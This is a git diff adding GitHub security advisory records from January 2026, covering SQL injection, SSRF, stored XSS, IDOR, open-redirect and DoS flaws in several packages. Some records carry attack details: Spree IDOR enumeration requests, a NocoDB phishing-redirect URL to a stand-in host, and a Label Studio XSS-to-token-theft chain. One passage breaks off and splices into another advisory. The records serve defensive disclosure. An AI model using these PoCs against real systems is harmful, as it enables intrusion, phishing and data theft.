b/advisories/github-reviewed/2026/01/GHSA-2g22-wg49-fgv5/GHSA-2g22-wg49-fgv5.json new file mode 100644 index 0000000000000..89c6eb5f0ba1d --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-2g22-wg49-fgv5/GHSA-2g22-wg49-fgv5.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2g22-wg49-fgv5", + "modified": "2026-01-11T14:55:48Z", + "published": "2026-01-09T18:41:47Z", + "aliases": [ + "CVE-2025-65091" + ], + "summary": "XWiki Full Calendar Macro vulnerable to SQL injection through Calendar.JSONService", + "details": "### Impact\n\nAnyone who has view rights on the `Calendar.JSONService` page, including guest users can exploit this vulnerability by accessing database info or starting a DoS attack.\n\n### Workarounds\n\nRemove the `Calendar.JSONService` page. This will however break some functionalities.\n\n### References\n\nJira issue: \n* [FULLCAL-80: SQL injection through Calendar.JSONService](https://jira.xwiki.org/browse/FULLCAL-80)\n* [FULLCAL-81: SQL injection through Calendar.JSONService still exists](https://jira.xwiki.org/browse/FULLCAL-81)\n\n### For more information\n\nIf there are any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email [Security Mailing List](mailto:security@xwiki.org)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.xwiki.contrib:macro-fullcalendar-pom" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.4.5" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 2.4.3" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/xwiki-contrib/macro-fullcalendar/security/advisories/GHSA-2g22-wg49-fgv5" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65091" + }, + { + "type": "WEB", + "url": "https://github.com/xwiki-contrib/macro-fullcalendar/commit/5fdcf06a05015786492fda69b4d9dea5460cc994" + }, + { + "type": "PACKAGE", + "url": "https://github.com/xwiki-contrib/macro-fullcalendar" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-89" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-01-09T18:41:47Z", + "nvd_published_at": "2026-01-10T04:16:01Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-2g59-m95p-pgfq/GHSA-2g59-m95p-pgfq.json b/advisories/github-reviewed/2026/01/GHSA-2g59-m95p-pgfq/GHSA-2g59-m95p-pgfq.json new file mode 100644 index 0000000000000..889691d31c7b0 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-2g59-m95p-pgfq/GHSA-2g59-m95p-pgfq.json @@ -0,0 +1,77 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2g59-m95p-pgfq", + "modified": "2026-02-02T22:22:24Z", + "published": "2026-01-20T00:30:28Z", + "aliases": [ + "CVE-2026-22219" + ], + "summary": "Chainlit contain a server-side request forgery (SSRF) vulnerability", + "details": "Chainlit versions prior to 2.9.4 contain a server-side request forgery (SSRF) vulnerability in the /project/element update flow when configured with the SQLAlchemy data layer backend. An authenticated client can provide a user-controlled url value in an Element, which is fetched by the SQLAlchemy element creation logic using an outbound HTTP GET request. This allows an attacker to make arbitrary HTTP requests from the Chainlit server to internal network services or cloud metadata endpoints and store the retrieved responses via the configured storage provider.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "chainlit" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.9.4" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22219" + }, + { + "type": "WEB", + "url": "https://github.com/Chainlit/chainlit/commit/ffc3cce648b343b933e10e85ee5805c7e02ab3bf" + }, + { + "type": "PACKAGE", + "url": "https://github.com/Chainlit/chainlit" + }, + { + "type": "WEB", + "url": "https://github.com/Chainlit/chainlit/releases/tag/2.9.4" + }, + { + "type": "WEB", + "url": "https://www.vulncheck.com/advisories/chainlit-sqlalchemy-data-layer-ssrf-via-project-element" + }, + { + "type": "WEB", + "url": "https://www.zafran.io/resources/chainleak-critical-ai-framework-vulnerabilities-expose-data-enable-cloud-takeover" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-918" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-21T01:07:02Z", + "nvd_published_at": "2026-01-20T00:15:49Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-2g5g-hcgh-q3rp/GHSA-2g5g-hcgh-q3rp.json b/advisories/github-reviewed/2026/01/GHSA-2g5g-hcgh-q3rp/GHSA-2g5g-hcgh-q3rp.json new file mode 100644 index 0000000000000..098e6993cd47e --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-2g5g-hcgh-q3rp/GHSA-2g5g-hcgh-q3rp.json @@ -0,0 +1,83 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2g5g-hcgh-q3rp", + "modified": "2026-01-28T16:33:51Z", + "published": "2026-01-28T16:33:51Z", + "aliases": [ + "CVE-2026-24836" + ], + "summary": "DotNetNuke.Core Vulnerable to Stored XSS in Scheduler LogNotes", + "details": "Extensions could write richtext in log notes which can include scripts that would run in the PersonaBar when displayed.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "NuGet", + "name": "DotNetNuke.Core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "9.0.0" + }, + { + "last_affected": "9.13.9" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "DotNetNuke.Core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "10.0.0" + }, + { + "fixed": "10.02.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 10.2.0" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-2g5g-hcgh-q3rp" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24836" + }, + { + "type": "PACKAGE", + "url": "https://github.com/dnnsoftware/Dnn.Platform" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-28T16:33:51Z", + "nvd_published_at": "2026-01-28T00:15:50Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-2gqc-6j2q-83qp/GHSA-2gqc-6j2q-83qp.json b/advisories/github-reviewed/2026/01/GHSA-2gqc-6j2q-83qp/GHSA-2gqc-6j2q-83qp.json new file mode 100644 index 0000000000000..3028093507577 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-2gqc-6j2q-83qp/GHSA-2gqc-6j2q-83qp.json @@ -0,0 +1,70 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2gqc-6j2q-83qp", + "modified": "2026-01-23T21:46:10Z", + "published": "2026-01-15T18:17:15Z", + "aliases": [ + "CVE-2026-23519" + ], + "summary": "RustCrypto Utilities cmov: `thumbv6m-none-eabi` compiler emits non-constant time assembly when using `cmovnz`", + "details": "### Summary\n\n`thumbv6m-none-eabi` (Cortex M0, M0+ and M1) compiler emits non-constant time assembly when using `cmovnz` (portable version). I did not found any other target with the same behaviour but I did not go through all targets supported by Rust. \n\n### Details\n\nIt seems that, [during `mask` computation](https://github.com/RustCrypto/utils/blob/9e555db060c80f4669d804f448a524a37d201b32/cmov/src/portable.rs#L78), an LLVM optimisation pass is detecting that [`bitnz`](https://github.com/RustCrypto/utils/blob/9e555db060c80f4669d804f448a524a37d201b32/cmov/src/portable.rs#L13) is returning 0 or 1, that can be interpreted as a boolean. This intermediate value is not masked by a call to `black_box` and thus the subsequent [`.wrapping_sub(1)`](https://github.com/RustCrypto/utils/blob/9e555db060c80f4669d804f448a524a37d201b32/cmov/src/portable.rs#L78C1-L78C84) can be interpreted as a conditional bitwise conditional not.\n\n### PoC\n\nThis is an attempt at having a minimal faulty code. In a library crate with an up-to-date `cmov` as only dependency, the content of `src/lib.rs` is:\n\n```rust\n#![no_std]\nuse cmov::Cmov;\n\n#[inline(never)]\npub fn test_ct_cmov(a: &mut u8, b: u8, c: u8) {\n a.cmovnz(&b, c);\n}\n```\n\n\nThe resulting assembly emitted (shown using `cargo asm --release --target thumbv6m-none-eabi` that uses [`cargo-show-asm`](https://crates.io/crates/cargo-show-asm)):\n\n
    \nCollapsed assembly\n\n```asm\n.section .text.not_ct::test_ct_cmov,\"ax\",%progbits\n\t.globl\tnot_ct::test_ct_cmov\n\t.p2align\t1\n\t.type\tnot_ct::test_ct_cmov,%function\n\t.code\t16\n\t.thumb_func\nnot_ct::test_ct_cmov:\n\t.fnstart\n\t.cfi_sections .debug_frame\n\t.cfi_startproc\n\t.save\t{r7, lr}\n\tpush {r7, lr}\n\t.cfi_def_cfa_offset 8\n\t.cfi_offset lr, -4\n\t.cfi_offset r7, -8\n\t.setfp\tr7, sp\n\tadd r7, sp, #0\n\t.cfi_def_cfa_register r7\n\t.pad\t#8\n\tsub sp, #8\n\tmovs r3, #0\n\tlsls r2, r2, #24\n\tbne .LBB0_2\n\tmvns r3, r3\n.LBB0_2:\n\tldrb r2, [r0]\n\tstr r3, [sp, #4]\n\tstr r3, [sp]\n\tmov r3, sp\n\t@APP\n\t@NO_APP\n\tldr r3, [sp]\n\tbics r1, r3\n\tands r2, r3\n\tadds r1, r2, r1\n\tstrb r1, [r0]\n\tadd sp, #8\n\tpop {r7, pc}\n```\n\n
    \n\nThe non-constant time assembly is:\n\n```asm\n bne .LBB0_2\n mvns r3, r3\n.LBB0_2:\n```\n\n### Impact\n\nThe exact impact is unclear, especially since `cmov` clearly warns users that the portable version is best-effort.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "cmov" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.4.4" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/RustCrypto/utils/security/advisories/GHSA-2gqc-6j2q-83qp" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23519" + }, + { + "type": "WEB", + "url": "https://github.com/RustCrypto/utils/commit/55977257e7c82a309d5e8abfdd380a774f0f9778" + }, + { + "type": "PACKAGE", + "url": "https://github.com/RustCrypto/utils" + }, + { + "type": "WEB", + "url": "https://rustsec.org/advisories/RUSTSEC-2026-0003.html" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-203", + "CWE-208" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-15T18:17:15Z", + "nvd_published_at": "2026-01-15T20:16:05Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-2mmv-7rrp-g8xh/GHSA-2mmv-7rrp-g8xh.json b/advisories/github-reviewed/2026/01/GHSA-2mmv-7rrp-g8xh/GHSA-2mmv-7rrp-g8xh.json new file mode 100644 index 0000000000000..d9d7e5c22cb20 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-2mmv-7rrp-g8xh/GHSA-2mmv-7rrp-g8xh.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2mmv-7rrp-g8xh", + "modified": "2026-01-12T20:07:14Z", + "published": "2026-01-12T16:13:33Z", + "aliases": [ + "CVE-2026-22250" + ], + "summary": "Weblate command-line client susceptible to SSL verification skip", + "details": "### Impact\nThe SSL verification would be skipped for some crafted URLs.\n\n### Patches\n* https://github.com/WeblateOrg/wlc/pull/1097\n\n### Workarounds\nAvoid using untrusted wlc configurations, as that might cause insecure connections.\n\n### References\nThis issue was reported to us by [wh1zee](https://hackerone.com/wh1zee) via HackerOne.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "wlc" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.17.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/WeblateOrg/wlc/security/advisories/GHSA-2mmv-7rrp-g8xh" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22250" + }, + { + "type": "WEB", + "url": "https://github.com/WeblateOrg/wlc/pull/1097" + }, + { + "type": "WEB", + "url": "https://github.com/WeblateOrg/wlc/commit/a513864ec4daad00146e6d6e039559726e256fa3" + }, + { + "type": "PACKAGE", + "url": "https://github.com/WeblateOrg/wlc" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-295" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-01-12T16:13:33Z", + "nvd_published_at": "2026-01-12T18:15:49Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-2mq9-hm29-8qch/GHSA-2mq9-hm29-8qch.json b/advisories/github-reviewed/2026/01/GHSA-2mq9-hm29-8qch/GHSA-2mq9-hm29-8qch.json new file mode 100644 index 0000000000000..a9d9fd6964c50 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-2mq9-hm29-8qch/GHSA-2mq9-hm29-8qch.json @@ -0,0 +1,74 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2mq9-hm29-8qch", + "modified": "2026-01-12T20:06:35Z", + "published": "2026-01-12T16:12:50Z", + "aliases": [ + "CVE-2026-22033" + ], + "summary": "Label Studio is vulnerable to full account takeover by chaining Stored XSS + IDOR in User Profile via custom_hotkeys field", + "details": "### Prologue\n\nThese vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually. \n\n### Summary\n\nA persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the `templates/base.html` template. Because the application exposes an API token endpoint (`/api/current-user/token`) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.\n\n### Details\nWithin `templates/base.html`, the application renders user-controlled hotkey configuration via the following JavaScript snippet:\n\n```js\nvar __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};\n```\nHere, user.custom_hotkeys is run through json_dumps_ensure_ascii (in `core/templatetags/filters.py`) which performs `json.dumps(dictionary, ensure_ascii=False)` but does not escape closing `` sequences or other dangerous characters. Because the template uses the `|safe` filter, the output is inserted into the HTML `\n

    Processing your request...

    \n------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n\n### Impact\nThe attacker now possesses a valid administrator JWT and can take full control of the application.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@haxtheweb/haxcms-nodejs" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "11.0.6" + }, + { + "fixed": "25.0.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-3fm2-xfq7-7778" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22704" + }, + { + "type": "WEB", + "url": "https://github.com/haxtheweb/haxcms-nodejs/commit/317a8ae29f88be389f7cfeffaef416957122d97e" + }, + { + "type": "WEB", + "url": "https://github.com/haxtheweb/haxcms-nodejs/releases/tag/v25.0.0" + }, + { + "type": "PACKAGE", + "url": "https://github.com/haxtheweb/issues" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-13T15:07:57Z", + "nvd_published_at": "2026-01-10T07:16:03Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-3g2f-4rjg-9385/GHSA-3g2f-4rjg-9385.json b/advisories/github-reviewed/2026/01/GHSA-3g2f-4rjg-9385/GHSA-3g2f-4rjg-9385.json new file mode 100644 index 0000000000000..2c37b180e894b --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-3g2f-4rjg-9385/GHSA-3g2f-4rjg-9385.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3g2f-4rjg-9385", + "modified": "2026-01-14T19:50:09Z", + "published": "2026-01-14T16:45:07Z", + "aliases": [ + "CVE-2026-21889" + ], + "summary": "Weblate leaks information via screenshots", + "details": "### Impact\nThe screenshot images were served directly by the HTTP server without proper access control. This could allow an unauthenticated user to access screenshots after guessing their filename.\n\n### Patches\n* https://github.com/WeblateOrg/weblate/pull/17516\n\n### References\n\nThanks to Lukas May and Michael Leu for reporting this.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "weblate" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "5.15.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-3g2f-4rjg-9385" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21889" + }, + { + "type": "WEB", + "url": "https://github.com/WeblateOrg/weblate/pull/17516" + }, + { + "type": "WEB", + "url": "https://github.com/WeblateOrg/weblate/commit/a6eb5fd0299780eca286be8ff187dc2d10feec47" + }, + { + "type": "PACKAGE", + "url": "https://github.com/WeblateOrg/weblate" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-284" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-01-14T16:45:07Z", + "nvd_published_at": "2026-01-14T17:16:07Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-3ghg-3787-w2xr/GHSA-3ghg-3787-w2xr.json b/advisories/github-reviewed/2026/01/GHSA-3ghg-3787-w2xr/GHSA-3ghg-3787-w2xr.json new file mode 100644 index 0000000000000..284466638414b --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-3ghg-3787-w2xr/GHSA-3ghg-3787-w2xr.json @@ -0,0 +1,138 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3ghg-3787-w2xr", + "modified": "2026-01-11T14:56:25Z", + "published": "2026-01-08T21:28:04Z", + "aliases": [ + "CVE-2026-22589" + ], + "summary": "Spree API has Unauthenticated IDOR - Guest Address", + "details": "### Summary\nAn Unauthenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an unauthenticated attacker to access guest address information without supplying valid credentials or session cookies.\n\n### Details\nDuring testing, it was observed that all guest users can make an unauthenticated request to retrieve address data belonging to other guest users by manipulating object identifiers. The attacker would need to know the storefront URL structure to perform this attack (which can be learnt after creating a registered user account).\n\nAffected Component(s)\n* Address Edit endpoint: `/addresses/{addressId}/edit`\n\nRoot Cause\n- Faulty authorization check in CanCanCan Ability class:\n\n```diff\n- can :manage, ::Spree::Address, user_id: user.id\n+ can :manage, ::Spree::Address, user_id: user.id if user.persisted?\n```\n\nthe `user` object in `Spree::Ability` class for guest users is a `Spree.user_class.new` object. \n\nAddresses endpoint to access it is part of the `spree_storefront` gem. **Headless builds using APIs are not affected,** as the Addresses endpoint there is only for registered users, and records are scoped to the currently signed-in user.\n\n### PoC\nPreconditions\n- No authentication required\n- No cookies or session tokens set\n\nTo reproduce this vulnerability simply perform the request shown below, replacing the number with an arbitrary value. \n\n**For the initial request the Guest Address id = 6 is used to obtain the information**\n\n**Request**\nGET `/addresses/6/edit`\n\n\"IDOR\n\nRepeat the request and check the response, in this example using Guest Address id = 2.\n\n**Request**\nGET `/addresses/2/edit`\n\n[\"IDOR\n](url)\n\n### Impact\nAn unauthenticated attacker can:\n\n- Enumerate and retrieve guest address information (Addresses associated with User accounts are NOT affected)\n- Access personally identifiable information (PII) such as:\n- Full names\n- Physical addresses\n- Phone numbers (if present)\n\nThis vulnerability could lead to:\n\n- Privacy violations\n- Regulatory compliance issues (e.g., GDPR)\n- Loss of user trust", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "RubyGems", + "name": "spree_core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.0" + }, + { + "fixed": "4.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "RubyGems", + "name": "spree_core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "5.0.0" + }, + { + "fixed": "5.0.7" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "RubyGems", + "name": "spree_core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "5.1.0" + }, + { + "fixed": "5.1.9" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "RubyGems", + "name": "spree_core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "5.2.0" + }, + { + "fixed": "5.2.5" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/spree/spree/security/advisories/GHSA-3ghg-3787-w2xr" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22589" + }, + { + "type": "WEB", + "url": "https://github.com/spree/spree/commit/16067def6de8e0742d55313e83b0fbab6d2fd795" + }, + { + "type": "WEB", + "url": "https://github.com/spree/spree/commit/4c2bd62326fba0d846fd9e4bad2c62433829b3ad" + }, + { + "type": "WEB", + "url": "https://github.com/spree/spree/commit/d051925778f24436b62fa8e4a6b842c72ca80a67" + }, + { + "type": "WEB", + "url": "https://github.com/spree/spree/commit/e1cff4605eb15472904602aebaf8f2d04852d6ad" + }, + { + "type": "WEB", + "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree_core/CVE-2026-22589.yml" + }, + { + "type": "PACKAGE", + "url": "https://github.com/spree/spree" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-639" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-08T21:28:04Z", + "nvd_published_at": "2026-01-10T04:16:01Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-3hmw-8mw3-rmpj/GHSA-3hmw-8mw3-rmpj.json b/advisories/github-reviewed/2026/01/GHSA-3hmw-8mw3-rmpj/GHSA-3hmw-8mw3-rmpj.json new file mode 100644 index 0000000000000..ee1af42477cc6 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-3hmw-8mw3-rmpj/GHSA-3hmw-8mw3-rmpj.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3hmw-8mw3-rmpj", + "modified": "2026-01-28T21:41:10Z", + "published": "2026-01-28T21:41:10Z", + "aliases": [ + "CVE-2026-24768" + ], + "summary": "NocoDB has Unvalidated Redirect in Login Flow via continueAfterSignIn Parameter", + "details": "### Summary\n\nAn **unvalidated redirect (open redirect)** vulnerability exists in NocoDB’s login flow due to missing validation of the `continueAfterSignIn` parameter.\n\nDuring authentication, NocoDB processes a user-controlled redirect value and conditionally performs client-side navigation without enforcing any restrictions on the destination’s origin, domain or protocol. This allows attackers to redirect authenticated users to arbitrary external websites after login.\n\n### Root Cause\n\nThe redirect logic relies on a permissive URL check that treats any absolute or protocol-relative URL as safe, and performs navigation without applying an allowlist or origin validation.\n\nIn the redirect plugin:\n\n* The helper function `isFullUrl` uses the following regular expression:\n\n ```ts\n /^(https?:)?\\/\\//\n ```\n\n This pattern matches any HTTP(S) URL as well as protocol-relative URLs (e.g., `//evil.example`), without restricting allowed domains.\n\n* When the `continueAfterSignIn` query parameter matches this pattern, the application performs an unconditional external navigation:\n\n ```ts\n navigateTo(route.value.query.continueAfterSignIn as string, {\n external: isFullUrl(...)\n })\n ```\n\n### Attack Scenario\n\nAn attacker can exploit this issue through a phishing attack:\n\n1. The attacker crafts a malicious login URL containing a controlled redirect target, for example:\n\n ```\n https://victim-nocodb.example/#/signin?continueAfterSignIn=https://evil-phishing.com/fake-login\n ```\n2. The victim clicks the link and is presented with the legitimate NocoDB login page.\n3. The victim authenticates using valid credentials.\n4. After login, NocoDB automatically redirects the victim to the attacker-controlled external site.\n5. The attacker’s site displays a fake error message and prompts the victim to re-enter credentials.\n6. The victim unknowingly submits credentials to the attacker.\n\n### Impact\n\nThis vulnerability enables **phishing attacks** by leveraging user trust in the legitimate NocoDB login flow. While it does not directly expose credentials or bypass authentication, it increases the likelihood of credential theft through social engineering.\n\nThe issue does not allow arbitrary code execution or privilege escalation, but it undermines authentication integrity.\n\n### Credit\n\nThis issue was discovered by an AI agent developed by the GitHub Security Lab and reviewed by GHSL team members [@p- (Peter Stöckli)](https://github.com/p-) and [@m-y-mo (Man Yue Mo)](https://github.com/m-y-mo).", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "nocodb" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.301.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/nocodb/nocodb/security/advisories/GHSA-3hmw-8mw3-rmpj" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24768" + }, + { + "type": "PACKAGE", + "url": "https://github.com/nocodb/nocodb" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-601" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-28T21:41:10Z", + "nvd_published_at": "2026-01-28T21:16:12Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-3j22-8qj3-26mx/GHSA-3j22-8qj3-26mx.json b/advisories/github-reviewed/2026/01/GHSA-3j22-8qj3-26mx/GHSA-3j22-8qj3-26mx.json new file mode 100644 index 0000000000000..47d91e7937f8c --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-3j22-8qj3-26mx/GHSA-3j22-8qj3-26mx.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3j22-8qj3-26mx", + "modified": "2026-01-22T18:02:22Z", + "published": "2026-01-22T18:02:22Z", + "aliases": [ + "CVE-2026-24006" + ], + "summary": "Seroval affected by Denial of Service via Deeply Nested Objects", + "details": "Serialization of objects with extreme depth can **exceed the maximum call stack limit**. \n\n**Mitigation**: \n`Seroval` introduces a `depthLimit` parameter in serialization/deserialization methods. **An error will be thrown if the depth limit is reached.**", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "seroval" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.4.1" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.4.0" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/lxsmnsyc/seroval/security/advisories/GHSA-3j22-8qj3-26mx" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24006" + }, + { + "type": "WEB", + "url": "https://github.com/lxsmnsyc/seroval/commit/ce9408ebc87312fcad345a73c172212f2a798060" + }, + { + "type": "PACKAGE", + "url": "https://github.com/lxsmnsyc/seroval" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-770" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-22T18:02:22Z", + "nvd_published_at": "2026-01-22T03:15:47Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-3jqf-v4mv-747g/GHSA-3jqf-v4mv-747g.json b/advisories/github-reviewed/2026/01/GHSA-3jqf-v4mv-747g/GHSA-3jqf-v4mv-747g.json new file mode 100644 index 0000000000000..98c4175d9a0df --- /dev/null +++ 